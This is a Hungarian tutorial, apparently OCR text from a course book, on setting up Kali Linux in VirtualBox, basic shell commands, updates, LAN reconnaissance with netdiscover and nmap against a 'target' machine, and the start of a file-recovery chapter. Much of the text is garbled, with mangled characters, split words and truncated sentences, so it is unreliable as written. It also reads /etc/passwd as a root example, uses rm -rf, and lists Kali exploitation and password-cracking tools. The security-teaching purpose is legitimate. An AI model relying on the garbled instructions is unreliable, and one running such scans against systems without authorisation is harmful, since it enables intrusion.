System panelen. Legyen legalabb 2048 MB.

Boot sorrend: Meghat 8rozza, hogy a virtuf¢
bootolni (Floppy, Optical, Hard Disk). Ez
ISO-rél valé inditashoz.

Gyorsitas (Acceleration): Az itt engedélyezett -X¥/AMD-V, Nested Paging és
KVM Paravirtualization be8ll2t8sok | ehet
noveli a VM teljesitményét és stabilitasat.

Di splay (KijelzR):

Vide6 memoria: A virtualis gép szaméra rendelkezésre all6 vide6 memodria
mennyisége (16 MB). Ez befolyasolja a grafikdk megjelenitését és az interfész
sebességét.

Grafi kus vez®r | R: A v 81| a(WM3IVGA),t ametyr af i k u
optimaliz8lja a grafik8t ®s a kijelzR tel

3D gyorsitas: Ezen opcio letiltasaval a rendszer nem hasznal extra hardveres 3D
gyors2tgst, ami egyszerTbb grafikali al kal

Storage (Tarolas):

Vez®r | R: | DE/ SATA: Meghat 8rozza a virtusgl
Az | DE vez®r | R gyakran az optikai me g h a
altalaban a merevlemezekhez.

Virtusglis merevl emez: A " Kali Li nux.vdi
kapacitasu, amely a rendszerfajlok és a felhasznal6i adatok tarolasara szolgal.

Audio (Hang):

Host Driver: Meghatérozza, hogy a virtualis gép milyen hangmeghajtét hasznaljon a
gazdarendszerben (itt Windows DirectSound).
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Kontroller: Az ICH AC97 hangkartya emulélasa biztositja, hogy a virtualis gépen
keresztil hangot lehessen lejatszani.

Network (Hal6zat):

Adapter tipusa és maédja: Az Intel PRO/1000 MT Desktop halézati adapter NAT
m-dban van be8l | 2tva. Ez Il ehet Rv® teszi,
hal6zathoz kapcsolddjon a gazdagépen keresztil, anélkil hogy kdzvetlen haldzati
hozzéaféréstgényelne.

USB:

USB vez®r |l R: Az OHCI ®s EHCI vez®rl|l Rkkel
van enged®l yezve. -&zizdk edatbkoRaté8at a \@rwadis USB
géphez, példaul pendrsek at , amel yek haszn8l ata el Rse

Ezek a beallitAsok optimalizaljdk a Kali Linux virtudlis gép teljesitményét,
funkcionalitasat és kompatibilitasat, mikbzben biztositjak, hogy a gép biztonsagosan,
el k¢l °n2tve ®s az alapvetR er Rforr8sok he

Kattintsunk a bedllitdsokra (settings). Az altalanos (general) panelen valasszuk az
Advanced feliratit és engedélyezziik a megosztott vagoélap és a Kétiranyésfogd
vidd opci-kat (Shared Clipboard ®s Dragorl

£ Kali linux - Settings ? X
E General General

II‘ System Basic  Advanced  Description  Disk Encryption

|§| Display Snapshot Folder: D:WirtualMachine \KaliLinux \Kali linux\Snapshots ~
H Storage Shared Clipboard: | Bidirectional =

(‘D] Audio Drag'n'Drop: |Bidirectional ™

8. dbra A megosztott vagolap engedélyezése

A Kali Linux virtudlis telepitéséhez sziikséges, hogy a Virtual@oxbelll
engedélyezziik az optikai meghajtot, mivel igy csatlakoztathatunk egy telepitési .iso
fg)1t, amel yr RI a rendszer el indul hat
kezel Rf el kdwevirt®lis gép kivaladztasa utanBetting® (Beallitasok)

mentpontra kell kattintani. A bedllitasokban a "Storage" (Tarolas) fulén talalhaté

"IDE Controller" alatt lathaté egfEmpty (Ures) bejegyzés. Erre kattintva, majd a

Aobb oldali lemez ikonr&attintva valaszthat6 ki &Choose a disk file(Lemezfajl
kivsg8laszt8sa) opci-, amellyel megadhat -
fajl. Az optikai meghajté csatlakoztatdsa utan fontos, hogy a boot sorrendben ez

l egyen az el sR helyen, 2 gy a vVvfolyamat 81 i s g
megkezdhet R.
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B
Shared Folders Extended Features Enable IjO APIC

[] Enable EFI (spedial Oses only)

€3 Kali linux - Settings ? *
E General System
Ii‘ Systern Motherboard Processor Acceleration
|§| Display Base Memory: '
@ Storage 4MB 12283 MB
(DZI . Boot Order: Hard Dizk

Audio @ Optical
@ MNetwork Floppy

| Iﬂ Metwork

@ Serial Ports Chipset: PIN3 =
ﬁ USB Pointing Device: |USBE Tablet A

User Interface Hardware Clock in UTC Time

Cancel

9. abra Az optikai meghajtdé engedélyezése

A processzorok szama kozvetlenil befolyasolja a virtualis gép teljesitményét. Ha

tobb processzormagot rendeliink a virtualis géphez, az képes nagyobb
parhuzamositas mellett, gyorsabban futtatni a feladatokat, kilénésen a tébb szalon

futé alkalmazasok eset@h. A Kali Linux rendszer egyes eszkozei ezt ki fogjak
haszn8l ni . A felhaszn8l - nak <&ezelég¥or sabhb
g°erd¢l ®kenyebb mTk°d®st eredm®nyezhet

Ugyanakkor, ha tul sok processzormagot rendeliink a virtualis géphez, az ronthatja a
gazda oper8ci-s rendszer teljes2tm®ny®t,
tobbi folyamatanak. igy a bedllitas soran mindig figyelembe kell venni a
gazdarendszer pcesszorainak szamat, és olyan megosztast kell alkalmazni, amely
biztositjia, hogy mind a virtudlis gép, mind a gazda rendszer hatékonyan
mTkodhessen. A rendelkez®sre §I1 - proces:
jelzi. Hasznaljunk legalabb 2 proceesz(CPU)
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€3 Kali linux - Settings ? X
E General System

Ii‘ System Motherboard Processor Acceleration

|§| Display Processor(s): '
St 1CPU 3 CPUs

orage
Execution Cap: ' 100% =

(Dj Audio 1% 100%

@ Netwark Extended Features: [ ] Enable PAE/MX

Enable Nested YT-x/AMD-V
@ Serial Ports

10. 4bra A CPU szamanak beallitasa

A VM vide6 memodria beadllitdsa azért fontos, mert meghatarozza, hogy a virtualis gép
mennyi mem- ri 8t haszngl hat grafikai f o
megjelenitéséhez és a grafikai elemek feldolgozasahoz. Minél tébb videé meméria

all rendelkezésre, anhd@ordilékenyebb és gyorsabb lesz a grafikai feladatok
végrehajtasa, kuléndsen, ha a virtualis gépen grafikai alapu alkalmazasokat vagy
komplexebb vizualis elemeket (példaul-83@yorsitast) futtatunk.

Ha t Yl kev®s vide- mem-ri 8§t 8l Il 2tunk be,
akadozhatnak, vagy az interfész reakcidideje lelassulhat. Ez a hasznalati élményt
ronthatja, és a virtudlis gépen futtatott programok hasznalata is nehezebbé valhat,
kilonden, ha olyan kdrnyezetben dolgozunk, mint Kali Linux, amelyben vizualis
visszajelzések és felliletek gyors betoltése is szikséges Aelwvidleo memoria

legaldbb 128 MB legyen.

£ Kali linux - Settings ? bt
E General Display
IE‘ Systemn Sereen Remote Display Recording
|§| Display Video Memory: ' 128/MB |5
[y QE— 0MB 128 MB

11. 4bra A videdmemoria bedllitasa

Az el sR ind?2t8skor, ami kor a wvirtus8lis g
szikség van a telepitési ISO fajl megadaséra. Az I1SO f4jl egy olyan lemezképfajl,

amely az oper8ci-s rendszer telep?2tRfSg) I
telep2t R DVD vagy USB meghajt - digits8lis m¢

rendelkeznek fizikai optikai meghajtoval, a telepitéshez az 1SO fajlt egy virtualis
optikai meghajtéba kell csatlakoztatni.
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Ahhoz, hogy a Kali Linux rendszer elinduljon a telepitési folyamat soran, a
VirtualBox bedllitasaiban hozza kell rendelni ezt az ISO f4jlt az optikai meghajtéhoz.
Ez azzal jar, hogy a VirtualBox a csatlakoztatott 1SO fajlt gy kezeli, mintha az egy

fizkaiDVD | enne, amel yr RI a rendszer ind2tha
Host Drive "W:' - E
E

12 dbraA Kal i Linux telep2tRl emez®nek mega

A telepitésnek van olyan maddja is, hogy letdltiink egy mar elkészitett virtualis gépet.

Az ELSf FUTTATCS

A sikeres telepités utan a virtualis gépet dupla kattintassal futtath@ti(eadi Linux

korabbi verzidiban az alapértelmezett felhasznalonév és jelszd toor volt. Ez a

root felhasznalé rendszergazdai jogosultsagokkal rendelkezik, vagyis teljes
hozzéaférése van a rendszerhez, igy telepithet, térélhet, konfiguralhat programokat és
modosithat rendszerfajlokat. A root felhasznal6 korlatlan jogosulte@azainagyon

er Rs hat S§sk°rr el rendel kezi k, ami bizt
megfel elak.n haszn

Az Ujabb Kali Linux verziokban (2018 R kezdve) megv s8Il toc
alapértelmezett felhasznaléi modellt. Az alapértelmezett felhasznalé most mar egy
nemroot (normal) felhasznal6, akinek a jelszavat a telepités soran kell megadni,

el Rt el e p? tné azalapértelmededt z2d rheaks z njefsk® kali/kali.@z  /

a felhasznal6 a sudo parancs segitségével szerezhet rendszergazdai jogosultsagokat,

igy biztonsagosabba valt a rendszer, mivel csak a sziikséges esetekben férhet hozz4 a
rendszergazdai funkciblz.

Cancel

| KALI I

BY OFFENSIVE SECURITY

13 8bra A Kali bejelentkez®si k®perny
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A kezdRk®pernyR:

06:16 AM O A O A C

KALI

BY OFFENSIVE SECURITY

14 8bra Kali Linux kezdRk®pernyR

Az el sR futtats8skor a Devices menuben v
opci -t. Ez egy virtu8lis CD | emedlib mount
egérgomb kaintassal nyissunk meg egy parancssori terminalt. Gépeljik be, hogy

| sudo su |

Igy rendszergazda jogosultshgzerziink a jelsz6 beirasa utan. Az aiddalbancssor
telepiti a sziikséges kiterjesztést:

|bash ./ VBoxLinuxAdditions .run |

A Guest Additions CD a VirtualBox egy olyan kiegészitése, amely szamos hasznos
funkciét biztosit Ezek javitjak a felhasznaldi élményt és a hasznéalhatosagot. Kali
Linux eset®n a Guest Additions CD a k°°vet

K®pernyRfel bont 8s automati kus m®r et ez®se:
Linux automatikusan illeszkedik a VirtualBox ablakanak méretéhez, igy a
fel haszng8l -nak nem kel manu8l i san besg
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kényelmesebb hasznalatot biztosit, kilondsen akkor, ha a virtualis gépet teljes
k®pernyRs m-dban vagy ablakban haszn8lj 8§l

K®pernyRmegoszt8§s ®s t°bbmonitoros t8mog:
hogy a virtus8lis g®p t°bb monitort IS
z°kkenRmentes §tvs8lts8st. Ez akkor haszn
dolgozik, és ezeken megeretné osztani a virtualis gépet.

Egérmutatd integracio: A Guest Additions telepitése utan az egérmutato
automatikusan mozog a gazdagép és a virtualis gép kozoétt, anélkiul hogy
"megragadna” a virtualis gép ablakaban. Ez megkdnnyiti a két rendszer kdzotti
munkat, mivel az egérmutat6 szabagoh vi het R a gazdag®p ®s a

Kenyvt8r megoszt 8s: Lehet Rv® teszi a gazd
megosztasat, igy konnyebb fajlokat és adatokat mozgatni a két rendszer kdzott. Ez
kuléndsen hasznos fajlkezeléshez és adatok atviteléhez, mivel nem kell kulon
halézati beallitdskat alkalmazni.

V&g I ap megoszt 8§sa: A ve8g-Ilap megoszt §s
szOvegek és egyéb adatok masolasara és beillesztésére a gazda és a virtualis gép
kozott. Ez nagyban megkonnyiti a kilonféle adatok, példaul parancsokekigy

egyéb informaciok gyaratvitelét.

A hsgl - zat.i el ®r ®st egy br bzegydvaldatkalagnny i t § s ¢
a Kali forum [3] megtekintésére.

WINDOWSVIRTUALIS GEP LETOLTESE

EIl Rre t el ep?Wieadows l1Méldangokanishetiinklea z al 8bbi hel
https://developer.microsoft.comieis/windows/downloads/virtuahachines/

HIVATKOZASOK

[1] https://download.virtualbox.org/virtualbox/6.1.16/UserManual.pdf

[2] https://www.microsoft.com/ens/evalcenter/evaluatgindows10-
enterprise#Gestarted

[3] https://forums.kali.org/
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BEVEZETES AKALI LINUX HASZNALATABA

BEVEZETES A KALI LINUX
HASZNALATABA

A FELHASZNALOI FELULET

A Kali Linux sok teszt eszkdzzel rendelkezik, ezek kiadasrol kiadasra valtoznak.
Ebben a fejezetben bemutatjuk, hogyan | el

Ami kor el RjgkaXali Limmeog egylires asztalt tatk. Felul helyezkedik
el a télca, rajta 5 ikon.

B mims

"y

Open Folder

J Openin Terminal

Desktop
@ Documents
& Downloads
Music
Pictures
Public
Templates

Videos

15. abra A talca

A k°z®psR i kon hasonl 2t a Windows rendsz
®r het Rk el : Do c ume fddksmentunokMetditések képekdbPi ct ur e
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\‘ Terminal Emulator

[ File Manager
', Text Editor
’
@ Web Browser
T8 Kali Linux
& Kali Docs

Kali Bugs

-

12 - Reporting Tools
8 Kali

16, 8bra Az el Rretelep2tett alkal maz§gs

A baloldali ikon a Kal i meng¢j ®t nyitja meg. I tt

al kal maz 8s ok, rendszereszk©®z©oKk. A k°ovet
eszkozoketlllpedi g r®szl etes | e2r8st ko°zo| azok
al kal maz8sok gyorsan el ® het Rk a seg?2ts®cg
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LYFT2NYt OAs 3FeA20! {SoSTKSG! &Stressi Sal §St WSt als G1 NI Sal 11 11 1Exploitationeszkézok
SttSy! NI ! eszkozok

acevoip InTrace BBQSQL DHCPig BruteSpray keimpx Armitage

Amap iISMTP BED FunkLoad Burp Suite Maltego Teeth Backdoor Factory

APT2 Ibd cisceauditingtool iaxflood CeWL Maskprocessor BeEF

arp-scan Maltego Teeth ciscoglobatexploiter Inundator chntpw multiforcer cisceauditingtool

Automater masscan ciscoocs inviteflood cisceauditingtool Ncrack ciscoglobalexploiter

bing-ip2hosts Metagoofil ciscetorch ipv6-toolkit CmosPwd oclgausscrack cisceocs

braa Miranda copy-router-config mdk3 creddump ophcrack ciscotorch

CaseFile nbtscanrunixwiz Doona Reaver crowbar PACK Commix

CDPSnarf Nikto DotDotPwn rtpflood crunch patator crackle

ciscotorch Nmap HexorBase SlowHTTPTest findmyhash phrasendrescher  exploitdb

copy-router- ntop jSQL Injection t50 gpp-decrypt polenum jbossautopwn

config OSRFramework Lynis Termineter hashidentifier RainbowCrack Linux Exploit Suggester

DMitry pOf Nmap THCGIPV6 Hashcat rcrackimt Maltego Teeth

dnmap Parsero ohrwurm THGSSIDOS HexorBase RSMangler Metasploit Framework

dnsenum Reconng openvas THCHydra SeclLists MSFPC

dnsmap SET Oscanner John the Ripper SQLdict RouterSploit

DNSRecon SMBMap Powerfuzzer Johnny Statsprocessor SET

dnstracer smtp-userenum sfuzz THCpptp-bruter ShellNoob

dnswalk snmp-check SidGuesser TrueCrack sqglmap

DotDotPwn SPARTA SIPArmyKnife WebScarab THCGIPV6

enum4linux sslcaudit sqglmap wordlists Yersinia

enumlAX SSLsplit Sqlninja zaproxy

EyeWitness sslstrip sqlsus

Faraday SSLyze THCIPV6

Fierce Sublist3r tnscmd10g

Firewalk THCIPV6 unix-privesecheck

fragroute theHarvester Yersinia

fragrouter TLSSLed

Ghost Phisher twofi

GoLismero Unicornscan

goofile Wireshark

hping3 WOLE

ident-userenum  Xplico

InSpy
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Az al a p WKalitLiRux terminal parancsok

Tudhatjuk, hogy minden Linux disztribucié esetépar a n c s s o (termin&) &epnefantosyAR
Command Lindnterface(CLI) eléréséhez Ravorites | Terminal emulator mészolgél, vagy felll a

negyedik ikon balrél. Sok meniiben a jobb egérgombra felbghi meniiben is megnyithatjuk a
termindlt.

Hogy kipr-b8ljuk a: :mTk°d®s®t, 2rjuk be, hogy

|echo 1Hello Worlde |

E ) kali@kali: ~

File Actions Edit View Help

l—_ He'llc

Hello Word

17. abra Parancssori interakcio

A parancs kiad8sa ut8&n Enter billentyTt kell ny
meg.

sudo

A sudo parancsa "SuperUser Do"roviditése. Gyakori parancdia valamilyen utasitasnatoot
privilégiumokkalkell futnia, &kor a sudet hasznaljuk.

Példaul, ha a passwords (jelszavak) fajlt akarjuk megnézni, ehhez root jogosultsér kekitas:

| sudo cat /etc / passwd. |

File Actions Edit View Help

in/nologin

18. 4bra

A parancs kiadasa utan a Kali kéri a root jelszavat.r § k © pazandsadozS8R t Asi maod f el ha
jogosultsdggal fognak futnh tartds root jogosultségpz az alabbi

| sudo su |

parancsot kell kiadni. Figyjlk meg, hogy a prompt atvaltozik # jellé amikor root jogosulis&gyan.
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File Actions Edit View Help

/home/kali

19. abraRendszergazdai jogosultsag

pwd
A pwd (print work directory)p ar ancs az abszol Y%t Yst vonal at mu t
st vonal at . A gy°ko®r a Linux f8jlrendszer ®nek
felnasznal6i konyvtar pedig valami olyasmi, mifiiome/kali"i ahol&k al i 6 a héel haszn§|

File Actions Edit View Help

s o

/home/kali

=

20. 4bra Ab abszolut utvonal lekérése

Is

Az Is parancs kilistdzza annak a kényvtarnak a tartalmat, ahol vagggrameter a rejtett fajlokat is
kiirja, mig a-l kapcsolé hosszu listazasi formatumot ad.

File Actions Edit View Help

.ICEauthor

.profile

21. 4bra Aktudlis kdnyvtéar tartalménak kilistazasa
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cd
A konyvtarvaltads a CD paranccsal lehetséges. Ha a terminalban elkezdjuk a gépelést, akkor a begépelt
sz%veggel kezdRdAR k°nyvt&8r nevek megjelennek. E 2

A konyvtarstruktaraban felfelé 1épni a cd .. paranccsatleA perjel a gyokér kdnyvtérat jelenti.

File Actions Edit View Help

kali kali 4096 Nov

kali kali 807 Nov s .profile

kali kali 4096 Nov

kali kali 4096 Nov

kali kali Jan S .vboxclient-clipboard.pid
kali kali Jan : .vboxclient-display-svga-x11.pid
kali kali Jan : .vboxclient-draganddrop.pid
kali kali Jan : .vboxclient-seamless.pid
kali kali Nov

kali kali Dec : .viminfo

kali kali Jan S .Xauthority

kali kali Jan g .Xsession-errors

kali kali Dec s .Xxsession-errors.old

kali kali Jan s .zsh_history

kali kali Nov : .Zshrc

druwxr-xr-x
-YW-r—1r—
drwxr-xr-x
drwxr-xr-x
-TwW-r
-Tw-r
-TwW-T
-TwW-T
drwxr-xr-x
-rw

-rw

-rw

-rw

=N

e NN

o N

[~

Documents

-[~/Documents ]

22. abra koényvtarvaltas

mkdir, rmdir
Az mkdir és rmdiparancsok a fajlrendszerben végzett mappakezelésre szolgalnak.

Az mkdir (make directory) parancs segitségével (j konyvtarat hozhatunk létre az aktudlis
munkakdnyvtarban vagy barmely megadott Gtvonalon. Példaul a mkdir uj_konyvtar parancs egy
"uj _konyvtar nevT mapp8t hoz | ®ttobbemappa eggsketreu §1 i s
t°rt®nNR | ®t rehoz8s8ra is al kal mas, 2 gy a mkdir
harom 0j konyvtar is létrehozhato.

Az rmdir (remove directory) parancs az Ures konyvtarak torlésére szolgal. Csak olyan konyvtarat
tavolithat el, amely nem tartalmaz fajlokat vagy almappékat. Példaul a rmdir uj_konyvtar parancs
eltavolitja az "uj_konyvtar" mappat, ha az Uires. Ha a konyetdr Gires, a rmdir parancs hibat ad vissza,
®s a k°nyvt8r nem t°rl Rdi k.

Ha egy nem Ures kdnyvtarat szeretnénk eltavolitani, egy masik parancsot kell hasznalni, példaul az
rm -r parancsot, amely rekurzivan torli a konyvtar tartalmat is.
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kali@@kali: ~

File Actions Edit View Help

Cs

-~

L1

23. dbra Kdnyvtalétrehozasa és torlése

rm
Az rm parancs a f8jl ok ®s k°nyvt8rak t°rl| ®s®r e s
f8 Il ok elt8volz2t8s8ra al kal mas, de a kapcsol -k
végrehajthatunk.

EgyszerT f8jltorl®s: Az rm fajl.txt parancs p®I d

Rekurziv torlés: Ha egy konyvtarat és annak teljes tartalméat szeretnénk toréinkapcsolot
hasznéljuk, példaulmr konyvtar _neve. Ezzel a parancs a meg
alkdnyvtarat eltavolitja, akar azok tresek, akar nem.

Interaktiv torlés: Azi kapcsol - haszn8l ata az interakt?2v t°
t°erl ®se el Rtt, 2 gy el ker ¢ l-iheft Rjelk. tax tv ®@hiend eem tt°°rrl|
megkérdezi, hogy valdban szeretnéntorolni & adott fajlt.

ErRItetetft ktaprcls®d:: Aforce) seg?ts®g®Vel az rm p
fajlokat, akkor is, ha azok irasvédettek. Ez kilondserkapcsoloval egyiitt hasznalva hasznos lehet,

példaul rm-rf konyvtar_neve, amely az 6sszeptfés alkbnyvtarat visszakérdezés nélkil eltavolitja a
megadott kdnyvtarban.

Fontos megjegyezni, hogy az rm parancs altal végzett térlés nem visszavonhat6; a fajlok véglegesen
t°rl Rdnek, ®s nem helyezhetRk vissza a Ldmt 8rb-
kapcsoldkkal

cp
A cp parancs a f8jlok ®s k°nyvt8rak m8sol 8s8r a
vesz fel: az e l-kérnipvtara a rhasadik gedid & ¢élfajl vagydmywtar, ahova a

masolando elemet helyezzik.

EgyszerT f8j1l m8§sol 8s: Az cp forras.txt cel.txt p
"cel.txt" néven, igy egy Uj masolatot hoz Iétre "cel.txt" néven.

Konyvtarak masoldsa: Ha egy teljes konyvtarat szeretnénk masolni annak tartalmaval egyitt, a
(rekurziv) kapcsolot kell hasznalnunk. A cg forras_konyvtar cel_konyvtar parancs a

"forras_konyvtar" teljes tartalmat (beleértve az almappakat és fajloag m|l j a " cel _konyvt
kdnyvtarba.

Interaktiv masolas: Az kapcsol - interakt2v m-dban mTkeodi k,
azonos nevT f&jl, a -e példaeapikiciasdxecelixtesetéo, hay'celftd' | ¢ 1 2 r
m8r | ®t ezi k, meger Rs2t®st k®r a felg¢ l2r8s el Rtt.
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Meg Rr z®skapAcsol - a f8jl ok eredeti tulajdons8gait
megtartja a masolt fajlban.igyagp f orras.txt cel .txt parancs eset
fajl bedllitasait.

mv

Az mv parancs a fajlok és konyvtarak athelyezésére vagy atnevezésére szolgél a fajlrendszerben. Az

mv parancs al apvetRen k®t par-kOny&dreamésodikpeda d : az
célfgjl vagy-konyvtér, ahova az elemet athelyezzik vameéezzik.

Atnevezés: Az mv regi_nev uj_nev parancs a "regi_nev" fajlt vagy konyvtarat "uireeetvezi at az
aktudlis konyvtarban. Ez hasznos, ha egy fajl vagy konyvtar nevét szeretnénk megvaltoztatni.

Athelyezés: Az mv fajl.txt /cel_konyvtar/ parancs athelyezi a "fajl.txt" fajlt a megadott "/cel_konyvtar/"
konyvtarba. Ha az () helyen mas néven szeretnénk menteni a fajlt, akkor a célitvonalban Uj nevet is
megadhatunk, példaul mv fajl.txt /cel_konyvtarfajl.txt.

Kdnyvtarak athelyezése: Az mv hasznéalhato teljes konyvtarak athelyezésére is, példaul az mv
forras_konyvtar /uj_hely paranccsal a "forras_konyvtar" mappat és annak teljes tartalmat athelyezzik
az "/uj_hely" mappéaba.

Az mv parancs nem készit masolatot a fajlokrol vagy konyvtarakrdl, hanem az eredeti f4jl vagy
konyvt 8r Yj helyen | esz el ® hetR, vagy Yj n®ven

kali@ kali: ~ ftest

File Actions Edit View Help

sample.txt

sample.txt

’_— -[~/test]
sample.txt newname.txt

-[~/test]
Ls

newname. txt

’_— ~/test]
newname.txt

~/test

—-[~/test
Y

24, 8bra F&8jIl mTveletek

chmod
A chmodhasznalataval a fajlhoz adott engedélydkbet médositaniLinux alatt a végrehajtasz
olvasasés irasengedélyek vannak.

Vegyukpéldaul azs-al parancst Mi nden sorban az el sR karjaeatt er vag
vagy egy k°tRjel, amely egy f &8j Il t ¢sepbrpellitaséit k° v et
jelenti:
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T Az el sR h8rom karakter a felhaszn8l - -i jogosul
T A k°z®psR h8rom karakter a csoport jogosults:
1 Az utols6 harom karakter a tébbi felhasznald jogosultsagait mutatja.

A betTk jelent®se a k°vetkezR:

1T rReadazaz olvas8si jogosults8g. A f8&8jl megnyit

1 w:Writesazaz 2r8si jogosults8g. A f8jl szerkeszt]

1 x: Execute azaz végrehajtasi jogosultsdg. Ha a fajl szkript vagy program, akkor futtathato
(végrehajthatd).

man,-help
A sugokézikonyvet aman (manualptasitassal lehet elérni. A leirdson kifeélhasznalaspéldakat is
ada parancsokréPéldaul az rm parancs sugoja igy néz ki:

man rm
lali@kali: ~/test
File Actions Edit View Help

RM(1) User Commands RM(1)
rm - remove files or directories
[OPTION] ... [FILE]...

This manual page documents the GNU version of rm. removi ch specified file. By default, it does not remove directories.

If the -I or - ion is given, and th re than three files or the -r, -R, or —recursive are given, then rm prompts the user for whether to
proceed with the en the response is not ative, the entire command is aborted.

Otherwise, if a file is unwritable, standard input is a terminal, and the -f or - ption is not given, or the -i or --interactive=always option is given,
prompts the user for whether to remove the file. If the response is not affirmati file is skipped.

Remove (unlink) the FILE(s).

ignore istent files and arguments, never prompt
e every removal
prompt once before removing more than three files, or when removing recursively; less intrusive than -i, while still giving protection against most mistakes

1

prompt ding to WHEN: never, once (-I), or always (-i); without WHEN, prompt always

when removing a hierarchy recursively, skip any directory that is on a file system different from that of the corresponding command line argument

(default); with 'all’', re any command line argument on a separate device from its parent

remove directories and their contents recu

directories

ss h for help or q to quit)

25. abra Az rm parancs sugéja

KALI LINUX FRISSITESE

Az letc/apt/sources i st a tartal mazza a Kal:i Linux adatt 8r |
hivatalos adattarakat haszol

sy sz

Az alkalmazascsomagok indexeinek listajat az alabbi utdegasi:

sudo apt update

Legfrissebb csomaginformaciok: Az aptp dat e fri ss2ti a csomagok | is
legUjabb verzidk és javitdsok telepitését. Ez kilondsen fontos Kali Linuxnal, amelyet gyakran
hasznélnak biztonségi tesztelésre és etikus hackelésre, hiszen a legUjabb eszkdzok és friskitések kri
szerepet jatszanak a naprakész és hatékony munkaban.

Biztonsagi javitdsok: A friss csomaglistaval a rendszer hozzéfér a legujabb biztonsagi javitasokhoz,
amelyek cs°kkenti k a sebezhet Rs®geket. Ez ki eme
mint Kal. Li nux, ahol ®ront@sk eendgzerriftonsahieak eehnmrtasay ® g e z
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Kompatibilitas és stabilitas: Az apt update biztositja, hogy minden szoftvercsomag naprakész legyen,
amely javitja a rendszer stabilitdsat és kompatibilitdsat, kilondsen akkor, ha Uj eszkdzoket telepitiink
vagy frissitunk.

Friss?2tett f¢ggRs®gek ®s k°nyvt8rak: Sok szoft ve
az apt update gondoskodi k arr -1, hogy ezek a fg¢g
inkompatibilitasi problémakat, kilondsen a biztonsagkésok esetéberA frissitésrebeltemezett

csomagok megijelenités

apt list -- upgradable
Egy adottcsomag frissitéséhez futths

sudo apt install PACKAGE - NAME
Az dsszes csomdgssitése egy munkamenet soran:

sudo apt upgrade
Az elavult csomagok eltavolitasahfottassuk az autoremove opcidval a parancsot

sudo apt autoremove

A HALOZAT FELDERITESE

El Rsz°r meg kel h a t Brne azafeconfig pa@ncdsaotgal.n 81t h 81 - zat ot

ifconfig

File Actions Edit View Help

ethd: flags=41
inet 19: a
inete fe8E @0:27ff:fe 41 peid @

(Ethernet)

collisions @

by i
B dropped @
2 bytes 35¢€
dropped @ overruns @ carrier @ collisions @

26. dbra A hal6zat feltérképezése

A vélaszbdl az latszik, hogy &2 cim 192.168.1.102z ethO LAN hél6zaton.

A haldzat feltérképezéséaenetdiscoveparancsohasznalhatjuk

netdiscover

Felhasznélametdiscover i device] fr range H file | -p] [-m file] [-F filter] [-s time] Fc count] Fn
node] FdfPLNS]
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-i device:a halbzati eszkoz

-r rangeegy adott tartomany beolvasasa az automatikus keresés Hefe168.6.0/24,/16,/8

-l fileaz adott f4jlban talalhat6 tartomanyok listajanak beolvasdsa

-p passive modgassziv méd: ne kildjon semmit, cask szaglasszon

-m file: az ismert MAC cimek és gazdagépnevek listajanak beolvasasa

-Ffitera pcap szTrR kifejez®s testreszab8sa (al ap®r
-stime:al v 8 si i dR minden ARP k®r ®s k°9z°tt (ezredm§s
-ccountaz egyes ARP k®r ®sek el k¢l d®s®nek sz8ma (cs
-n node:a szkenneléshez hasznélt utolso forraéokeett (2-t RI -igd 5 3

-df igyel men k2vg¢l hagyja az fAotthoni o konfigur §c
maédhoz
fenged®l yezi a gyors ¢zemm-d¥% szkennel ®st, sok i

-P nyomtatds olyan formatumban, amely alkalmas egy masik program elemzésére, és az aktiv
szkennelés utan leall

-L hasonl6 aP -hez, de az aktiv szkennelés befejezése utan folytatja a szkennelést

-N Ne nyomtasson fejlécet. Csak akkor érvényes,-Ravagy-L engedélyezve van.

-Senged®| yezi az alv8sidR elnyom$s8t az egyes Kk®
Példaul.:

sudo netdiscover -f -iethO -r 192.168.1.101/24
root @kali: fheme/kali

File Actions Edit View Help

Currently scanning: Finished! | Screen View: Unigue Hosts

245 Captured ARP Req/Rep packets, from 5 hosts. Total size: 14700

IP At MAC Address Count MAC Vendor / Hostname

136
1

100 Intel
7 L HUAWEI

27. dbra A héaldzat feltérképezése
Az eredmény a fentihez hasonlé. Ebben a listaban van a célpont szamitogép.
nmap
Gépejuk be, hogy

nmap -v -A -Pn192.168.1.10 1.
Az eredm®nyt az al 8bbi k®pernyR mutatj a:
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root @kali: fhome/kali
File Actions Edit View Help

closed ports
VERSION
i ft Windows RPC
Windows netbios-ssn

virtual NIC)

Windows; CPE: o:microsoft:windows

: MSEDGEWIN1@, NetBIOS user: <unknown>, NetBIOS M 1] 59 (Oracle Virtual virtual NIC)

20s elapsed

@s elapsed

nned in 19
KB)

28. 4bra Nyitott portok felfedezése

A k®pernyRn | 8that-, hogy milyen opo®@kwwmak: s r ends

TOROLT ADATOK HELYREALLITASA

Ebben a fejezetben kitorliink egy fajlt a pendrajém aztan helyreallitjuk. Egy USB pendrive
hozz8csatol 8sa a virtu8lis g®p¢nkh©°z a k°vetkezkF

iI(ali—Linux-2020.4—vbm(—amd64 [Running]—OracIefM VirtualBox . - - . a
File Machine View Input | Devices | Help

@ Optical Drives L4
(B Audio C
@ Metwork 4
£ use Y | [ USE Settings..
Q Webcams L4
v General UDisk [0100]
|:| Shared Folders 4 Logitech USE Keyboard [1210] Vendor ID: ABCD
[°] Shared Clipboard v §r°F'L.'Ct Ig’lééﬂ
LEVISION:
EL Drag and Drop 4 Serial No. /b
State: Captured
dp Insert Guest Additions CD image...

29. abra Pendriveesatolasa

Helyezziink el két png fajlt a pendrajvon, majd toréljink egket. pendr i ve most a k?©°v.
jelenik meg
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FCF7-749C - File Manager

File Edit View Go Help

T+ H fmediafkali/FCF7-749C/

BJ

VirtualBox_MSEdg
e-
Winl10_31_12_202
0_17 12 56.png

DEVICES
_ﬂ File System
© VBox_GAs_6...
4.2GBVolume =
PLACES
B kali
- | Desktop
' Trash
= Documents
Music
Pictures
Videos
# Downloads
NETWORK

[ Browse Network
1itern: 4

30. dbra Féjlok torlése

Készitstink egy lemezképet az usb meghajtorol.

3.8 KiB (480,011 bytes), Free s

az fdsik-I hasznalataval hatarozzuk meg, hogy melyik eszkdz a pendrive. Az eszkdznevek altalaban
/dev /valami formatumban vannak. Esetlinkben ez a /dev /sdbl

A dd paranccsal masolatot készithet a meghaijtorol.

if = a bemeneti paramétert hatarozza meg, az of= a kimeneti képfajl nevét hatdrozza meg. Egy harmadik

param®t ert haszns8l tunk

az

el Rr e h aitlery & faghatme g j el en 2
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File Actions Edit View Help

- /home/kali/Documents

Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VBOX HARDDISK
i rs of 1 # 512 = 512 bytes
al/physical): 512 bytes / 512 bytes
Joptimal): bytes / 512 bytes
